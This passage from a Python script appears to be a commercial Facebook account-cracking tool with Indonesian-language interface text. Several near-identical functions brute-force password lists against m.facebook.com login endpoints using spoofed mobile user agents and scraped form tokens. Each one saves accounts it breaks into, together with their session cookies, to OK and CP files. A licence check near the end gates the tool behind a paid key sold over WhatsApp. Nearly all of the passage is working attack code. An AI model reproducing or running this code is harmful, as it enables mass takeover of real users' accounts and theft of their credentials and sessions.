  705.                 else:pass
  706.                 if 'mobile' in method:
  707.                     pool.submit(crack,idf,pwv)
  708.                 elif 'free' in method:
  709.                     pool.submit(crackfree,idf,pwv)
  710.                 elif 'mbasic' in method:
  711.                     pool.submit(crackmbasic,idf,pwv)
  712.                 else:
  713.                     pool.submit(crack,idf,pwv)
  714.         print('')
  715.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  716.         print('')
  717.  
  718. def cok_kie(idf,pwv):
  719.     global loop,ok,cp
  720.     bi = random.choice(['\33[m'])
  721.     pers = loop*100/len(id2)
  722.     fff = '%'
  723.     prog.update(des,description=f'\r[deep_white]{H} [blue][[green]/[blue]] [green]  crack {P}{loop}/{len(id)}[/] [green][{(ok)}] [/][red][{(cp)}]')
  724.     prog.advance(des)
  725.     ses = requests.Session()
  726.     ua = random.choice(ugen)
  727.     ua2 = random.choice(ugen2)
  728.     for pw in pwv:
  729.         try:
  730.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  731.             p = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=222161937813280&kid_directed_site=0&app_id=222161937813280&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D222161937813280%26redirect_uri%3Dhttps%253A%252F%252Faccount.xiaomi.com%252Fpass%252Fsns%252Flogin%252Fload%26state%3DSTATE_248222%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D11699442-ce8e-4d69-8952-fb5f6b0c3d12%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccount.xiaomi.com%2Fpass%2Fsns%2Flogin%2Fload%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DSTATE_248222%23_%3D_&display=page&locale=id_ID&pl_dbl=0&_rdc=1&_rdr')
  732.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  733.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  734.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  735.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  736.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_IDFD',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  737.             if "checkpoint" in po.cookies.get_dict().keys():
  738.                 print(f'{B}[CP] {idf}|{pw}|{M}Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.64')
  739.                 open('cpku.txt','a').write(idf+'|'+pw+'\n')
  740.                 akun.append(idf+'|'+pw)
  741.                 cp+=1
  742.                 break
  743.             elif "c_user" in ses.cookies.get_dict().keys():
  744.                 ok+=1
  745.                 coki=po.cookies.get_dict()
  746.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  747.                 print(f'{U}[OK] {idf}|{pw}|{kuki}')
  748.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  749.                 break
  750.             else:
  751.                 continue
  752.         except requests.exceptions.ConnectionError:
  753.             time.sleep(3)
  754.     loop+=1
  755. def crack(idf,pwv):
  756.     global loop,ok,cp
  757.     bi = random.choice(['\33[m'])
  758.     pers = loop*100/len(id2)
  759.     fff = '%'
  760.     prog.update(des,description=f'\r[deep_white]{H}[{loop}] [{len(id)}][/] [green][{(ok)}] [/][green][{(cp)}]')
  761.     prog.advance(des)
  762.     ses = requests.Session()
  763.     ua = random.choice(ugen)
  764.     ua2 = random.choice(ugen2)
  765.     for pw in pwv:
  766.         try:
  767.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  768.             p = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=222161937813280&kid_directed_site=0&app_id=222161937813280&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D222161937813280%26redirect_uri%3Dhttps%253A%252F%252Faccount.xiaomi.com%252Fpass%252Fsns%252Flogin%252Fload%26state%3DSTATE_248222%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D11699442-ce8e-4d69-8952-fb5f6b0c3d12%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccount.xiaomi.com%2Fpass%2Fsns%2Flogin%2Fload%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DSTATE_248222%23_%3D_&display=page&locale=id_ID&pl_dbl=0&_rdc=1&_rdr')
  769.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  770.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  771.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  772.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  773.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_IDFLUXD',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  774.             if "checkpoint" in po.cookies.get_dict().keys():
  775.                 print(f'{P}[CP] {M}{idf}|{pw}|{M}{uaku2}')
  776.                 open('1minngu.txt','a').write(idf+'|'+pw+'\n')
  777.                 akun.append(idf+'|'+pw)
  778.                 cp+=1
  779.                 break
  780.             elif "c_user" in ses.cookies.get_dict().keys():
  781.                 ok+=1
  782.                 coki=po.cookies.get_dict()
  783.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  784.                 print(f'{P}[{H}• OK{H} •{P}] {H}{idf}|{pw}|{U}{kuki}')
  785.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  786.                 break
  787.             else:
  788.                 continue
  789.         except requests.exceptions.ConnectionError:
  790.             time.sleep(3)
  791.     loop+=1
  792. ###----------[ METODE REGULER ]----------###
  793. def crackfree(idf,pwv):
  794.     global loop,ok,cp
  795.     bi = random.choice(['\33[m'])
  796.     pers = loop*100/len(id2)
  797.     fff = '%'
  798.     prog.update(des,description=f'\r[deep_white]{B} reguler {P}{(loop)}/{len(id)}[/] [white]RESS[/]:[green]{(ok)} [/][white] CEK[/]:[yellow]{(cp)}')
  799.     prog.advance(des)
  800.     ua = random.choice(ugen)
  801.     ua2 = random.choice(ugen2)
  802.     ses = requests.Session()
  803.     for pw in pwv:
  804.         try:
  805.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cros','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  806.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  807.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/?stype=lo&jlou=AfeHk-CAJvdGaHk4jrPG5UtFn4CKHtir7fjddC1Yn0kMD7n1Kct_NlHp4ILanYLiuOMHerEBIaAAGZpqIronHYoLKX2b3Z4J_2orkzUezPFFPw&smuh=4646&lh=Ac_94l2RFc-vs30xNbg&_rdr","flow":"login_no_pin","pass":pw,}
  808.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  809.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  810.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','sec-ch-ua': '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="8"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  811.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  812.             if "checkpoint" in po.cookies.get_dict().keys():
  813.                 print(f'{M}[CHECK] {idf}|{pw}')
  814.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  815.                 akun.append(idf+'|'+pw)
  816.                
  817.                 cp+=1
  818.                 break
  819.             elif "c_user" in ses.cookies.get_dict().keys():
  820.                 ok+=1
  821.                 coki=po.cookies.get_dict()
  822.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  823.                 print(f'{H}[LIVE]  {idf}|{pw}')
  824.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  825.                
  826.                
  827.                 break
  828.                
  829.             else:
  830.                 continue
  831.         except requests.exceptions.ConnectionError:
  832.             time.sleep(3)
  833.     loop+=1
  834. ###----------[ METODE ASYNC ]----------###
  835. def asyn(idf,pwv):
  836.     global loop,ok,cp
  837.     bi = random.choice(['\33[m'])
  838.     pers = loop*100/len(id2)
  839.     fff = '%'
  840.     prog.update(des,description=f'\r[deep_white]{K} async {loop}/{len(id)}[/] [white]RESULT[/]:[green]{(ok)} [/][white] CEK[/]:[yellow]{(cp)}')
  841.     prog.advance(des)
  842.     ses = requests.Session()
  843.     ua = random.choice(ugen)
  844.     ua2 = random.choice(ugen2)
  845.     for pw in pwv:
  846.         try:
  847.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  848.             p = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=222161937813280&kid_directed_site=0&app_id=222161937813280&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D222161937813280%26redirect_uri%3Dhttps%253A%252F%252Faccount.xiaomi.com%252Fpass%252Fsns%252Flogin%252Fload%26state%3DSTATE_248222%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D11699442-ce8e-4d69-8952-fb5f6b0c3d12%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccount.xiaomi.com%2Fpass%2Fsns%2Flogin%2Fload%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DSTATE_248222%23_%3D_&display=page&locale=id_ID&pl_dbl=0&_rdc=1&_rdr')
  849.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  850.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  851.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  852.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  853.         #   po = requ.post("https://m.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100", data=data, headers=head, allow_redirects=False)
  854.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  855.             if "checkpoint" in po.cookies.get_dict().keys():
  856.                 print(f'{M}[CHECK] {idf}|{pw}')
  857.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  858.                 akun.append(idf+'|'+pw)
  859.                 cp+=1
  860.                 break
  861.             elif "c_user" in ses.cookies.get_dict().keys():
  862.                 ok+=1
  863.                 coki=po.cookies.get_dict()
  864.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  865.                 print(f'{H}[LIVE]  {idf}|{pw}')
  866.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  867.                 break
  868.             else:
  869.                 continue
  870.         except requests.exceptions.ConnectionError:
  871.             time.sleep(3)
  872.     loop+=1
  873. def asynss(idf,pwv):
  874.     global loop,ok,cp
  875.     bi = random.choice(['\33[m'])
  876.     pers = loop*100/len(id2)
  877.     fff = '%'
  878.     prog.update(des,description=f'\r[deep_white]{K} Async {P}{loop}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/][yellow] CP[/]:[yellow]{(cp)}')
  879.     prog.advance(des)
  880.     ses = requests.Session()
  881.     ua = random.choice(ugen)
  882.     ua2 = random.choice(ugen2)
  883.     for pw in pwv:
  884.         try:
  885.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  886.             p = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=222161937813280&kid_directed_site=0&app_id=222161937813280&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D222161937813280%26redirect_uri%3Dhttps%253A%252F%252Faccount.xiaomi.com%252Fpass%252Fsns%252Flogin%252Fload%26state%3DSTATE_248222%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D11699442-ce8e-4d69-8952-fb5f6b0c3d12%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccount.xiaomi.com%2Fpass%2Fsns%2Flogin%2Fload%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DSTATE_248222%23_%3D_&display=page&locale=id_ID&pl_dbl=0&_rdc=1&_rdr')
  887.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  888.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  889.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  890.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  891.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  892.             if "checkpoint" in po.cookies.get_dict().keys():
  893.                 print(f'{M}[CHECK] {idf}|{pw}')
  894.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  895.                 akun.append(idf+'|'+pw)
  896.                 cp+=1
  897.                 break
  898.             elif "c_user" in ses.cookies.get_dict().keys():
  899.                 ok+=1
  900.                 coki=po.cookies.get_dict()
  901.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  902.                 print(f'{H}[LIVE]  {idf}|{pw}')
  903.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  904.                 break
  905.             else:
  906.                 continue
  907.         except requests.exceptions.ConnectionError:
  908.             time.sleep(3)
  909.     loop+=1
  910. def getkey():
  911.     import json, requests
  912.     try:
  913.         openkey = open(".key.txt","r").read()
  914.         files = openkey.split("\n")[1]
  915.         key = openkey.split("\n")[0]
  916.     except FileNotFoundError:
  917.         os.system("clear")
  918.         none();time.sleep(1)
  919.         print("")
  920.         print ("")
  921.         jalan("\033[0m╰─ license anda :\033[32m "+crot);time.sleep(1)
  922.         namamu = input("\033[0m╰─ nama anda : ")
  923.         yt = input("\033[0m╰─ Chat Admin Untuk Beli Lisensi y/t? > ")
  924.         if yt in ["Y","y"]:
  925.             os.system("xdg-open https://wa.me/+6281322544391?text=Assalamualaikum+bang+Meledak,+aku+mau+beli+scriptnya+tapi+yang+versi+premium.+Ini+lisensinya:%20"+crot+"+konfitmasi+nama+pembeli:%20"+namamu)
  926.             open(".key.txt","w").write(crot+"\n"+namamu)
  927.             exit()
  928.         else:
  929.             exit("\033[0m╰─ Telah keluar program")
  930.     try:
  931.         confirmkey = requests.get("https://raw.githubusercontent.com/privatescrip/database/main/ya.json").json()
  932.     except requests.exceptions.ConnectionError:
  933.         print("\033[0m╰─ Jaringan Internet Kamu Tidak Ada");exit()
  934.     if confirmkey[files] == key:
  935.         if confirmkey[files] == "tidakada":
  936.             print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
  937.             os.system("rm -rf .key.txt");exit()
  938.         else:
  939.             print("\n\033[0m╰─ Lisensi key Kamu Sudah Aktif");time.sleep(1);login()
  940.     else:
  941.         print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
  942.         os.system("rm -rf .key.txt");exit()
  943.  
  944. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  945. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  946. from concurrent.futures import ThreadPoolExecutor
